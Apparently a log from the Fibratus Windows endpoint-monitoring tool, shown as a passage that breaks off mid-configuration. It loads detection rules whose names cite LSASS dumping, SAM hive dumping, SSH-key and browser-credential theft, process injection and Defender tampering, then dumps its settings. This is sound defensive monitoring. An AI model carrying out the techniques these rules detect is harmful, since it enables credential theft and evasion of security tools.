source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:37:40+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T15:37:40+01:00 level=info msg=bootstrapping with pid 14072. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T15:37:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-threadpool=>false enable-net=>true enable-mem=>false flush-interval=>1s enable-handle=>false enable-thread=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true buffer-size=>512 enable-image=>true enable-vamap=>true enable-fileio=>true max-buffers=>36 enable-dns=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 level=>info max-backups=>15 log-stdout=>true] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false method=>POST endpoints=>[] timeout=>5s] amqp=>[ delivery-mode=>transient vhost=>/ exchange-type=>topic enabled=>false timeout=>5s durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus passive=>false routing-key=>fibratus] elasticsearch=>[ healthcheck-timeout=>5s trace-log=>false bulk-workers=>1 enabled=>false flush-period=>1s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck=>true gzip-compression=>false index-name=>fibratus template-name=>fibratus sniff=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-procs=>[] skip-files=>false enabled=>false excluded-files=>[] scan-timeout=>10s skip-allocs=>false fastscan=>true skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T15:37:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:37:42+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T15:38:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T15:38:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:38:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:55:10+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T15:55:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T15:55:11+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T15:55:11+01:00 level=info msg=bootstrapping with pid 18956. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T15:55:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true stack-enrichment=>true max-buffers=>36 buffer-size=>512 enable-net=>true min-buffers=>16 enable-image=>true enable-threadpool=>false enable-audit-api=>true enable-dns=>false enable-thread=>true enable-fileio=>true flush-interval=>1s enable-mem=>false enable-vamap=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ 